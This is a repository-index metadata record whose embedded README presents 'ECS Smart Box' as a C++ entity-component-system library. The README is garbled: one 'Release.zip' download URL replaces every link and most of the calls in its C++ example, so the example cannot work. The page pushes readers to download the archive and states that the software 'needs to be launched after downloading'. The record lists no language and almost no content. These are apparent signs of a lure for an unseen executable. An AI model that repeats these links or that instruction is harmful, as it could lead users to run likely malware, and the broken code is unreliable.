{"id":24749959,"url":"https://github.com/jefferyy56/ecs-smart-box","last_synced_at":"2026-05-04T04:37:02.253Z","repository":{"id":273911478,"uuid":"921280735","full_name":"jefferyy56/ECS-Smart-Box","owner":"jefferyy56","description":"C++ implementation of basic ECS using heap allocated, type erased components, that are using mechanism similar to unique_ptr.","archived":false,"fork":false,"pushed_at":"2025-03-20T23:13:08.000Z","size":1,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-03-20T23:26:11.345Z","etag":null,"topics":["c","cpp","enitity-component-system","entity","entity-component","heap","memory","system"],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jefferyy56.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-01-23T17:07:38.000Z","updated_at":"2025-03-20T23:13:12.000Z","dependencies_parsed_at":"2025-02-06T20:25:59.728Z","dependency_job_id":"4e7ba064-0251-4435-8502-0e05a1c86f7e","html_url":"https://github.com/jefferyy56/ECS-Smart-Box","commit_stats":null,"previous_names":["jefferyy56/ecs-smart-box"],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jefferyy56%2FECS-Smart-Box","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jefferyy56%2FECS-Smart-Box/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jefferyy56%2FECS-Smart-Box/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jefferyy56%2FECS-Smart-Box/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jefferyy56","download_url":"https://codeload.github.com/jefferyy56/ECS-Smart-Box/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245048279,"owners_count":20552483,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["c","cpp","enitity-component-system","entity","entity-component","heap","memory","system"],"created_at":"2025-01-28T08:52:54.128Z","updated_at":"2026-05-04T04:37:02.222Z","avatar_url":"https://github.com/jefferyy56.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"\n# ECS Smart Box 📦\n\n![ECS Smart Box Logo](https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip)\n\nWelcome to **ECS Smart Box**, a powerful C++ implementation of a basic Entity-Component-System using heap-allocated, type-erased components. This system utilizes a mechanism similar to `unique_ptr` to manage memory efficiently while offering flexibility to build complex interactive systems.\n\n## Features 🚀\n\n🔹 **Heap Allocation**: Components are allocated on the heap to optimize memory usage and provide dynamic storage capabilities.\n\n🔹 **Type Erasure**: Components are stored in a type-erased manner, allowing for generic handling and ease of use across different component types.\n\n🔹 **Entity-Component System**: Follows the ECS architectural pattern for organizing and managing game entities and their associated components.\n\n## How to Use 🛠️\n\nTo get started with **ECS Smart Box**:\n1. Clone the repository.\n2. Build the project using a C++ compiler.\n3. Include the necessary headers in your application.\n4. Create entities, add components, and define systems to interact with them.\n\nHere is an example code snippet to demonstrate how to use the ECS:\n\n```cpp\n#include \u003cecs/ecs_manager.h\u003e\n\nint main() {\n    ECSManager ecsManager;\n\n    // Create entities\n    Entity\u0026 player = https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip();\n    \n    // Add components\n    https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip\u003cTransformComponent\u003e(x, y);\n    https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip\u003cRenderComponent\u003e(\"https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip\");\n\n    // Define systems\n    MovementSystem movementSystem;\n    RenderSystem renderSystem;\n\n    // Update systems\n    https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip(ecsManager);\n    https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip(ecsManager);\n\n    return 0;\n}\n```\n\n## Repository Topics 📋\n\n⭐️ **Tags**: c, cpp, cpp11, cpp17, cpp20, entity-component-system, entity, entity-component, heap, memory, system\n\n## Download Software 📥\n\n[![Download ECS Smart Box](https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip)](https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip)\n\n*Note: The software needs to be launched after downloading.*\n\n## Learn More 📚\n\nFor more information on **ECS Smart Box** and its capabilities, visit the official [documentation website](https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip).\n\nStart building dynamic and interactive systems with ease using the ECS Smart Box library! 🌟","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjefferyy56%2Fecs-smart-box","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fjefferyy56%2Fecs-smart-box","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjefferyy56%2Fecs-smart-box/lists"}